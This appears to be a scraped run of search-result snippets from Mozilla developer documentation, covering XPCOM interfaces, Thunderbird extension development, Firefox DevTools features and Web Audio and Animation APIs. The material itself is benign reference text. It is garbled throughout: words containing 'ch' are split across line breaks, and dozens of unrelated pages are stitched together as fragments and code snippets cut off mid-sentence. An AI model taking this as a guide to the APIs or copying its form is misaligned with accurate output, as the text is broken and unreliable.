chemepos, out long s
chemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen ); parameters spec speclen s
chemepos s
chemelen authoritypos authoritylen pathpos pathlen parseuserinfo() userinfo = <username>:<password> void parseuserinfo( in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen ); parameters userinfo userinfolen usernamepos usernamelen passwordpos passwordlen notes starting in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), this no longer treats the semicolon as a "parameter strin...
nsIUpdateTimerManager
these timers are used to s
chedule update
checks in the future, for example.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registertimer(in astring id, in nsitimercallback callback, in unsigned long interval); methods registertimer() presents a user interface that
checks for and displays the available updates.
...gister an update-timer category with comma-separated values as a single string representing the timer, like this: _xpcom_categories: [{ category: "update-timer", value: "contractid," + "method," + "id," + "preference," + "interval" }], this allows you to s
chedule the timer without actually having to instantiate the component; instead, the component is instantiated when the timer is triggered.
... see also nsiupdate nsiupdate
checklistener nsiupdate
checker nsiupdatepat
ch nsiapplicationupdateservice nsiupdatemanager nsiupdateprompt ...
nsIWebProgressListener2
last
changed in gecko 1.9 (firefox 3) inherits from: nsiwebprogresslistener method overview void onprogress
change64(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress); boolean onrefreshattempted(in nsiwebprogress awebprogress, in nsiuri arefreshuri, in long amillis, in boolean asameuri); methods onprogress
change64() notification that the progress has
changed for one of the requests associated with awebprogress.
... progress totals are reset to zero when all requests in awebprogress complete (corresponding to onstate
change being called with astateflags including the state_stop and state_is_window flags).
... this function is identical to nsiwebprogresslistener.onprogress
change(), except that this function supports 64-bit values.
...void onprogress
change64( in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress ); parameters awebprogress the nsiwebprogress instance that fired the notification.
nsIWinTaskbar
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) starting with windows 7, applications gain some control over their appearance in the taskbar.
...warning: this api has undergone
changes that are not yet documented.
...ttaskbarprogress(in nsidocshell shell); nsitaskbarwindowpreview gettaskbarwindowpreview(in nsidocshell shell); void setgroupidforwindow(in nsidomwindow aparent, in astring aidentifier); attributes attribute type description available boolean returns true if the operating system supports windows 7 or later taskbar features; you can use this instead of in-place operating system version
checking.
...nsitaskbartabpreview createtaskbartabpreview( in nsidocshell shell, in nsitaskbarpreviewcontroller controller ); parameters shell an nsidocshell object representing the top-level window from whi
ch to create the preview.
nsIXFormsModelElement
1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned.
...exceptions thrown domexception if there is no mat
ching instance data.
...though the script is assumed to have modified instance data prior to invoking recalculate, the dom mutations are not ca
ched.
... thus, a full recalculation is necessary to ensure the proper
changes are effected throughout the xforms model.
NS_CStringContainerInit2
#include "nsstringapi.h" nsresult ns_cstringcontainerinit2( nscstringcontainer& acontainer, const
char* adata = nsnull, pruint32 adatalength = pr_uint32_max, pruint32 aflags = 0 ); parameters acontainer [in] the nscstringcontainer instance to initialize.
... adata [in] an array of
characters used to initialize the string object.
...it is generally better to use one of the helper classes, su
ch as nscstring, instead of coding directly to ns_cstringcontainerinit2 because those classes take care of cleaning up the string object when it goes out of scope.
...this is significant as it allows the programmer to be certain that ns_cstringgetdata will return a null-terminated
character array.
NS_CStringInsertData
#include "nsstringapi.h" nsresult ns_cstringinsertdata( nsacstring& astring, pruint32 aoffset, const
char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... aoffset [in] an offset into the string's internal buffer specifying where to place the given
characters.
... adata [in] a raw
character array to copy into this string.
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringinsertdata(str, 5, " world"); const
char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringAppendData
#include "nsstringapi.h" nsresult ns_stringappenddata( nsastring& astring, const pruni
char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to be modified.
... adata [in] a raw
character array to copy into this string.
... remarks this function is defined inline as a wrapper around ns_stringsetdatarange note: gcc requires the -fshort-w
char option to compile this example since pruni
char is an unsigned short.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringappenddata(str, l" world"); const pruni
char* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
nsMsgMessageFlags
offline 0x00000080 indicates whether or not we have this message in the offline ca
che.
... wat
ched 0x00000100 indicates whether or not this thread is being wat
ched.
... atta
chment 0x10000000 indicates whether or not the message has an atta
chment.
... runtimeonly 0x00000020 indicates the flags whi
ch are not emitted to the database.
Frequently Asked Questions
ns_precondition "you can't dereference a null nscomptr with operator->()" ns_precondition "you can't dereference a null nscomptr with operator*()" other issues printf("%x\n", mynscomptr); can cause the program to crash on sigill (illegal instruction), and not on the line with the printf, whi
ch can make it tricky to figure out.
...e.g., using blocks as in this sample // the most efficient s
cheme is to scope your |nscomptr| to live exactly as long // as you need to hold the reference nsresult somelongfunction( nsibar* abar ) { nsresult rv; // ...
... nscomptr<nsifoo> foo( do_queryinterface(abar, &rv) ); if ( foo ) foo->dosomefoothing(); // |foo| goes out of scope, and so |release|s its referent, here } // ...tons of stuff here, during whi
ch i don't need an |nsifoo| return rv; } editors note: move this discussion to the efficiency section, and link to it from here.
...no matter whi
ch code pattern you use to solve this problem, you should comment it, e.g., // warning: this getter doesn't addref() its result.
Using nsIPasswordManager
za
chlipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below su
ch as firefox 2.0.0.x and thunderbird 2.0.0.x.
...to do so securely, they can use nsipasswordmanager, whi
ch provides for secure storage of sensitive password information.
...the example below should serve as a starting point: // the host name of the password we are looking for var querystring = 'http://www.example.com'; // ask the password manager for an enumerator: var e = passwordmanager.enumerator; // step through ea
ch password in the password manager until we find the one we want: while (e.hasmoreelements()) { try { // get an nsipassword object out of the password manager.
... alert(pass.user); // the username alert(pass.password); // the password break; } } cat
ch (ex) { // do something if decrypting the password failed--probably a continue } } note that the user will be prompted for their master password if they have
chosen to set one to secure their passwords.
Working with out parameters
adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are
changed during the method call.
...usage in order to use su
ch a method from javascript via xpconnect, you have to follow a specific rule.
...after the call, this object will have a new property called value, whi
ch contains the out values.
...implementation when implementing a method whi
ch has out parameters in javascript, you have to set a new property called value to the out parameter whi
ch will hold the required value.
XPIDL Syntax
a `%{' that appears at the beginning of a line is the start of a raw code fragment, whi
ch extends until the end of a line that begins with `%}'.
... literal = octal_literal / decimal_literal / hex_literal / floating_literal literal /= string_literal /
char_literal literal /= "true" / "false" ; in regex: /"[^"\n]*["\n]/.
... string_literal = 1*(%x22 *(any
char except %x22 or %x0a) (%x22 / %x0a)) ; same as above, but s/"/'/g
char_literal = 1*(%x27 *(any
char except %x27 or %x0a) (%x27 / %x0a)) type_spec = "float" / "double" / "string" / "wstring" type_spec /= ["unsigned"] ("short" / "long" / "long" "long") type_spec /= "
char" / "w
char" / "boolean" / "octet" type_spec /= scoped_name prop_list = "[" *(property ",") property "]" property = ident [parens] raise_list = "raises" "(" *(scoped_name) ",") scoped_name ")" scoped_name = *(ident "::") ident / "::" ident ; in regex: [a-za-z_][a-za-z0-9_]*; identifiers beginning with _ cause warnings ident = (%x41-5a / %x61-7a / "_") *(%x41-5a / %x61-7a / %x30-39 / "_") parens = "(" 1*(any
char except ")") ")" functionality not use...
...the following is a list of potential features whi
ch are parseable but may not result in expected code: struct, union, and enumerated types array declarators (appears to be supported in xpidl_header.c but not xpidl_typelib.c) exception declarations module declarations variable arguments (that makes the abnf get more wonky) sequence types max-length strings fixed-point numbers "any" and "long double" types.
Events
some of these are standard events, su
ch as those created by the dom.
... compose-send-message a message gets sent compose-window-close a compose window gets closed compose-window-init a compose window has been opened compose-window-reopen a ca
ched compose window has been reopened.
... ondisplayingfolder a folder gets displayed onfolderloading a folder is being loaded onleavingfolder a folder is being unloaded, includes deletion onloadingfolder a folder is being loaded onmakeactive a folderdisplaywidget becomes active onmessagecounts
changed the counts of the messages
changed onmessagesloaded the messages in the folder have been loaded onmessagesremovalfailed removing some messages from the current folder failed onmessagesremoved some messages of the current message list have been removed onsear
ching a folder view derived from a sear
ch is being loaded, e.g.
... saved sear
ches, virtual folders, a quicksear
ch onsort
changed the sort method in the messages list has been
changed ...
Spam filtering
on spam detection, the user can
choose to move spam to a special "junk" folder.
... the purge code is implemented as a sear
ch of the "junk" folder, looking for "old" message that have the proper junk status.
... elaborate on the mime
changes that were made for spam.
... initial state user action table
changes unknown (user can't see this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens from good, add tokens to bad not junk mark as not junk no op junk mark as junk no op junk mark as not junk remove tokens from bad, add tokens to good ...
Building a Thunderbird extension 6: Adding JavaScript
mu
ch of it may no longer be relevant.
...the event listener then calls our startup function whi
ch gets our <statusbarpanel>-element with the id my-panel from the document's dom tree.
... it then uses javascript's date class to get the current date, whi
ch it converts into a string that has the format of yyyy.mm.dd.
... further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (overview of all dom objects in gecko) you may also find the javascript
cheat sheet very useful.
Add Option to Context Menu
assuming this on
chrome.manifest: overlay
chrome://messenger/content/mailwindowoverlay.xul
chrome://myext/content/thunderbird-overlay.xul add the next in thunderbird-overlay.xul.
...mple" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </popup> </overlay> for thunderbird 2 and 3 in the same xpi if our extension needs to support thunderbird 2 and 3 we need to make custom overlays for ea
ch version.
... this can be rea
ched by adding these lines to the
chrome.manifest file: overlay
chrome://messenger/content/mailwindowoverlay.xul
chrome://myaddon/content/tboverlay-tb2.xul appversion<3.0 overlay
chrome://messenger/content/mailwindowoverlay.xul
chrome://myaddon/content/tboverlay-tb3.xul appversion=>3.0 than we need two overlay xul files with content from examples above.
...for more details see
chrome registration.
libmime content type handlers
by ri
chard h.
... /* * this interface is implemented by content type handlers that will be * called upon by libmime to process various atta
chments types.
... the primary * purpose of these handlers will be to represent the atta
ched data in a * viewable html format that is useful for the user * * note: these will all register by their content type prefixed by the * following: mimecth:text/vcard * * libmime will then use nscomponentmanager::contractidtoclsid() to * locate the appropriate content type handler */ #ifndef nsimimecontenttypehandler_h_ #define nsimimecontenttypehandler_h_ typedef struct { prbool force_inline_display; } contenttypehandlerinitstruct; #include "prtypes.h" #include "nsisupports.h" #include "mimecth.h" // {20dabd99-f8b5-11d2-8ee0-00a024a7d144} #define ns_imime_content_type_handler_iid \ { 0x20dabd99, 0xf8b5, 0x11d2, \ { 0x8e, 0xe0, 0x0, 0xa0, 0x24, 0xa7, ...
...0xd1, 0x44 } } class nsimimecontenttypehandler : public nsisupports { public: static const nsiid& getiid() { static nsiid iid = ns_imime_content_type_handler_iid; return iid; } ns_imethod getcontenttype(
char **contenttype) = 0; ns_imethod createcontenttypehandlerclass(const
char *content_type, contenttypehandlerinitstruct *initstruct, mimeobjectclass **objclass) = 0; }; #endif /* nsimimecontenttypehandler_h_ */ plugin installation/location the installation of these modules will be similar to the that of any xpcom component (i.e.
Thunderbird
these pages document thunderbird and the mailnews backend whi
ch is also used in other projects su
ch as seamonkey and postbox.
... thunderbird is built on the same te
chnical platform as the firefox web browser.
... currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts,
chat, newsgroup and feed reading in a familiar high-productivity environment.
... community thunderbird product home page thunderbird project community pages user support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe ar
chives add-on developers forum/mailing list mozillazine forums mozilla messaging web page #thunderbird on irc.mozilla.org (for users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird communication
channels ...
XPI
cross-platform installer module (xpi) is a zip file used to install packages, utilizing the xpinstall te
chnology.
... an xpi contains installation instructions (install.js or install.rdf) as well as the actual software to install, whi
ch is often itself packaged as a jar file.
... xpi ar
chives only support files stored uncompressed or compressed using the "deflate" method.
... when xpi files are served via http, the application/x-xpinstall mime type should be mat
ched with the xpi file extension.
Declaring and Using Callbacks
c functions occasionally take function pointers as arguments, whi
ch are generally used as callbacks.
... warning: callbacks must be invoked on the same thread with whi
ch they were registered.
... the return type of the javascript callback must mat
ch the return type declared, otherwise js-ctypes will throw an error saying "unexpected return type".
...ents are passed to the callback constructor, the second is used as the this parameter: function myjscallback() { alert(this.message); }; var receiver = { message: 'hi there!' }; var callback = funcptrtype(myjscallback, receiver); // alerts with 'hi there' when the callback is invoked if three arguments are passed to the callback constructor, the third argument is used as a sentinel value whi
ch the callback returns if an exception is thrown.
CType
the specific properties and methods on ea
ch object vary depending on the data type represented.
... there are several kinds of types: primitive types these are typical unstructured data, su
ch as the predefined types listed in predefined data types.
... big integer types the int64 and uint64 types provide access to 64-bit integer values, whi
ch javascript doesn't currently support.
... methods available on all ctype objects array() returns a new ctype representing an array of elements of the type on whi
ch it was called.
Browser Side Plug-in API - Plugins
« previousnext » this
chapter describes methods in the plug-in api that are available from the browser.
... npn_getvalueforurl provides information to a plug-in whi
ch is associated with a given url, for example the cookies or preferred proxy.
... npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on whi
ch the plug-in was initiated).
... npn_setvalueforurl allows a plug-in to
change the stored information associated with a url, in particular its cookies.
3D view - Firefox Developer Tools
when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in whi
ch nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... by clicking and dragging the view, you can rotate and re-orient the 3d presentation of the dom hierar
chy of your page to see it from different angles, to better examine its structure.
...conversely, you can click on elements in the breadcrumb bar to
change whi
ch element is selected in the 3d view.
...this can become mu
ch more obvious when looking at the 3d view and seeing where your elements are nested wrong.
DOM Property Viewer - Firefox Developer Tools
to enable it, open the developer tool settings and
check the "dom" box under "default firefox developer tools".
... refreshing the display if the dom
changes you can hit the refresh button to update the display: filtering there is a sear
ch box within the toolbar: this filters the list to show only items whi
ch mat
ch the sear
ch term.
... items mat
ch the sear
ch term if their name contains the sear
ch term.
... mat
ching is case-sensitive.
Access debugging in add-ons - Firefox Developer Tools
we are planning to deprecate the use by firefox add-ons of the te
chniques described in this document.
... don't write new add-ons that use these te
chniques.
... the following items are accessible in the context of
chrome://browser/content/debugger.xul (or, in version 23 beta,
chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
... window.addeventlistener("debugger:editorunloaded") relevant files:
chrome://browser/content/devtools/debugger-controller.js
chrome://browser/content/devtools/debugger-toolbar.js
chrome://browser/content/devtools/debugger-view.js
chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate wat
ches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope.
Highlight and inspect DOM nodes - Firefox Developer Tools
if you hover over a dom node in the wat
ch expresions, it will be highlighted in the page.
...a dom object in the wat
ch expressions area, for example, includes a target.
... hover over the target to highlight the item on the page, click on the target to swit
ch to the page inspector with the item highlighted.
...you can click any one of these targets to swit
ch to the page inspector with this item highlighted.
Set a conditional breakpoint - Firefox Developer Tools
a normal breakpoint is just associated with a line: when the program rea
ches that line, the debugger pauses.
... a conditional breakpoint also has a condition associated with it, whi
ch is represented as an expression.
... when the program rea
ches the line, the debugger pauses only if the breakpoint's specified expression evaluates to true.
... this makes it possible to debug specific scenarios, su
ch as bugs that only happen on odd entries in a list, or errors that occur the last time through a loop, for example.
Source map errors - Firefox Developer Tools
typical error messages here are: syntaxerror: json.parse: unexpected
character at line 1 column 1 of the json data error: "version" is a required argument original source missing an original source may be missing.
...the message looks a little different in this case: in this case, the error will also be displayed in the source tab in the debugger: networkerror when attempting to fet
ch resource a bug in firefox prevents it from loading source maps for web extensions.
... source-map-fehler: typeerror: networkerror when attempting to fet
ch resource.
... ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually
change the map url to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port.
Network monitor toolbar - Firefox Developer Tools
a set of tool icons: pause (or resume) recording network log sear
ch the log request blocking an array of buttons to filter the network request list by type: by the content type of the response xhr requests websocket upgrades and messages (labeled ws) other requests a
checkbox that allows you to disable ca
ching.
... throttling menu, to simulate various connection types a menu of other actions: persist logs: by default, the network monitor is cleared ea
ch time you navigate to a new page or reload the current page.
... import har imports a har (http ar
chive) file.
... a second toolbar area at the bottom of the network monitor provides: an icon to laun
ch performance analysis.
Network Monitor - Firefox Developer Tools
the network monitor shows you all the network requests firefox makes (for example, when it loads a page, or due to xmlhttprequests), how long ea
ch request takes, and details of ea
ch request.
... select "network" from the web developer menu, (whi
ch is a submenu of the tools menu on os x and linux).
... click the wren
ch icon (), whi
ch is in the main toolbar or under the hamburger menu (), then select "network".
...this means you can start debugging a page in, for example, the web console, then swit
ch to the network monitor to see network activity without having to reload the page.
Use the Inspector API - Firefox Developer Tools
firefox add-ons may access the following objects from the
chrome://browser/content/devtools/inspector/inspector.xul context: window.inspector defined in inspector-panel.js.
... .markdirty() - marks that the page has been
changed by the inspector - a warning will be shown when leaving the page, since
changes made through the inspector are rewritten on reload.
... bindable events using on: markuploaded called when the left panel has been refreshed, after page
change.
... layout-
change "low-priority
change event for things like paint and resize." ...
Page inspector keyboard shortcuts - Firefox Developer Tools
enter return enter step forward through the attributes of a node tab tab tab step backward through the attributes of a node shift + tab shift + tab shift + tab (when an attribute is selected) start editing the attribute enter return enter hide/show the selected node h h h focus on the sear
ch box in the html pane ctrl + f cmd + f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into view s s s find the next mat
ch in the markup, when sear
ching is active ent...
...er return enter find the previous mat
ch in the markup, when sear
ching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused.
... command windows macos linux focus on the sear
ch box in the css pane ctrl + f cmd + f ctrl + f clear sear
ch box content (only when the sear
ch box is focused, and content has been entered) esc esc esc step forward through properties and values tab tab tab step backward through properties and values shift + tab shift + tab shift + tab start editing property or value (rules vi...
...ew only, when a property or value is selected, but not already being edited) enter or space return or space enter or space cycle up and down through auto-complete suggestions (rules view only, when a property or value is being edited) up arrow , down arrow up arrow , down arrow up arrow , down arrow
choose current auto-complete suggestion (rules view only, when a property or value is being edited) enter or tab return or tab enter or tab increment selected value by 1 up arrow up arrow up arrow decrement selected value by 1 down arrow down arrow down arrow increment selected value by 100 shift + page up shift + page up shift + page up decrement selected value by 100 shift + page down ...
UI Tour - Firefox Developer Tools
the following image shows the 2-pane layout: in 2-pane mode, the inspector includes the html pane, and the css pane, whi
ch can contain one of six tools: rules view layout view computed view
changes view compatibility view (firefox developer edition 77 and later) fonts view animations view the following image shows the 3-pane mode (available from firefox 62 onwards) whi
ch moves the css rules view into a separate pane in the center of the inspector.
...
changes view when you are editing in the rules view, you can see the
changes you have made in the
changes view.
... to configure the set of browsers you want the compatibility view to
check for, click settings at the bottom of the panel.
... untick the
checkbox for any browser you are not interested in.
Sorting algorithms comparison - Firefox Developer Tools
this article describes a simple example program that we use in two of the performance guides: the guide to the call tree and the guide to the flame
chart.
... sort() calls ea
ch of bubblesort(), selectionsort(), quicksort() in turn and logs the result.
... its call graph looks like this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with ea
ch algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license.
... you can try out the example program here and clone the code here (be sure to
check out the gh-pages bran
ch).
Taking screenshots - Firefox Developer Tools
to enable it: visit the settings page find the section labeled "available toolbox buttons"
check the box labeled "take a screenshot of the entire page".
...just
check the box in settings labeled "screenshot to clipboard": now, whenever you take a screenshot, the screenshot is also copied to the clipboard.
...with this parameter, even the parts of the webpage whi
ch are outside the current bounds of the window will be included in the screenshot.
... so if you’re using the up-arrow history scroll to capture images in quick succession, be careful — you need to remember to
change the filename for ea
ch new capture.
Validators - Firefox Developer Tools
checky
checky adds a submenu to your netscape or mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis services.
... link
checker this tool will
check links on a given web page.
...(some authoring software, su
ch as html-kit, builds in html tidy whi
ch makes validation quick and easy.) html validator pro this is an automated html5
checker using the same validator as the w3c.
... accessibility services lynx viewer
checks a web page using lynx visualization and allows validation of accessibility features original document information last updated date: august 16th, 2002 copyright © 2001-2003 netscape.
ANGLE_instanced_arrays - Web APIs
constants this extension exposes one new constant, whi
ch can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter.
... ext.drawarraysinstancedangle() behaves identically to gl.drawarrays() except that multiple instances of the range of elements are executed, and the instance advances for ea
ch iteration.
... ext.drawelementsinstancedangle() behaves identically to gl.drawelements() except that multiple instances of the set of elements are executed and the instance advances between ea
ch set.
... ext.vertexattribdivisorangle() modifies the rate at whi
ch generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
AesCtrParams - Web APIs
typically this is a
chieved by splitting the initial counter block value into two concatenated parts: a nonce (that is, a number that may only be used once).
...ea
ch time a new message is to be encrypted, a new nonce is
chosen.
...this part of the block gets incremented ea
ch time a block is encrypted.
...the nist sp800-38a standard, whi
ch defines ctr, suggests that the counter should occupy half of the counter block (see appendix b.2), so for aes it would be 64.
Animation.play() - Web APIs
return value undefined example in the growing/shrinking alice game example, clicking or tapping the cake causes alice's growing animation (alice
change) to play forward, causing her to get bigger, as well as triggering the cake's animation.
... two animation.play()s, one eventlistener: // the cake has its own animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alice
change.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play immediately.
... alice
change.play(); // play the cake's animation.
...cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("tou
chstart", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.playbackRate - Web APIs
animations have a playback rate that provides a scaling factor from the rate of
change of the animation's timeline time values to the animation’s current time.
... examples in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alice
change) to reverse, causing her to shrink: var shrinkalice = function() { alice
change.playbackrate = -1; alice
change.play(); } // on tap or click, alice will shrink.
... bottle.addeventlistener("mousedown", shrinkalice, false); bottle.addeventlistener("tou
chstart", shrinkalice, false); contrariwise, clicking on the cake causes her to "grow," playing alice
change forwards again: var growalice = function() { alice
change.playbackrate = 1; alice
change.play(); } // on tap or click, alice will grow.
... cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("tou
chstart", growalice, false); in another example, the red queen's race game, alice and the red queen are constantly slowing down: setinterval( function() { // make sure the playback rate never falls below .4 if (redqueen_alice.playbackrate > .4) { redqueen_alice.playbackrate *= .9; } }, 3000); but clicking or tapping on them causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.playbackrate *= 1.1; } document.addeventlistener("click", gofaster); document.addeventlistener("tou
chstart", gofaster); specifications specification status comment web animationsthe definition of 'animation.playbackrate' in that specificati...
Animation.ready - Web APIs
the read-only animation.ready property of the web animations api returns a promise whi
ch resolves when the animation is ready to play.
... since the same promise is used for both pending play and pending pause requests, authors are advised to
check the state of the animation when the promise is resolved.
... syntax var readypromise = animation.ready; value a promise whi
ch resolves when the animation is ready to be played.
...g the ready promise: animation.ready.then(function() { // do whatever needs to be done when // the animation is ready to run }); example in the following example, the state of the animation will be running when the current ready promise is resolved because the animation does not leave the pending play state in between the calls to pause and play and hence the current ready promise does not
change.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
playbackrate: the speed at whi
ch to render the audio stream.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffersourcenode() constructor
chrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before version 59, the default values were not supported.
chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
AudioBufferSourceNode.loop - Web APIs
the loop property of the audiobuffersourcenode interface is a boolean indicating if the audio asset must be replayed when the end of the audiobuffer is rea
ched.
... syntax var loopingenabled = audiobuffersourcenode.loop; audiobuffersourcenode.loop = true | false; value a boolean whi
ch is true if looping is enabled; otherwise, the value is false.
...when the time specified by the loopend property is rea
ched, playback continues at the time specified by loopstart example in this example, the audiocontext.decodeaudiodata function is used to decode an audio track and put it into an audiobuffersourcenode.
... buttons are provided to play and stop the audio playback, and a slider control is used to
change the playbackrate property value on the fly.
AudioContext.baseLatency - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaselatency experimental
chrome full support 58edge full support ≤79firefox full support 70ie no support noopera full support 45safari no support nowebview android full support 58
chrome android full support 58firefox android no support no...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from whi
ch can then be played and manipulated.
... for more details about media stream audio source nodes,
check out the mediastreamaudiosourcenode reference page.
...next, we feed this source audio into a low pass biquadfilternode (whi
ch effectively serves as a bass booster), then a audiodestinationnode.
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .cat
ch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
AudioContext.createMediaStreamTrackSource() - Web APIs
the createmediastreamtracksource() method of the audiocontext interface creates and returns a mediastreamtrackaudiosourcenode whi
ch represents an audio source whose data comes from the specified mediastreamtrack.
... this differs from createmediastreamsource(), whi
ch creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically).
... return value a mediastreamtrackaudiosourcenode object whi
ch acts as a source for audio data found in the specified audio track.
...function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .cat
ch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioDestinationNode - Web APIs
the number of
channels in the input must be between 0 and the max
channelcount value or an exception is raised.
... number of inputs 1 number of outputs 0
channel count mode "explicit"
channel count 2
channel interpretation "speakers" properties inherits properties from its parent, audionode.
... audiodestinationnode.max
channelcount is an unsigned long defining the maximum number of
channels that the physical device can handle.
...their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); gainnode.connect(audioctx.destination); to see a more complete implementation,
check out one of our mdn web audio examples, su
ch as voice-
change-o-matic or violent theremin.
AudioListener.setOrientation() - Web APIs
the two vectors must be separated by an angle of 90° — in linear analysis terms, they must be perpendicular to ea
ch other.
...you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioParam.exponentialRampToValueAtTime() - Web APIs
the exponentialramptovalueattime() method of the audioparam interface s
chedules a gradual exponential
change in the value of the audioparam.
... the
change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and rea
ches the new value at the time given in the endtime parameter.
... note: exponential ramps are considered more useful when
changing frequencies or playback rates than linear ramps because of the way the human ear works.
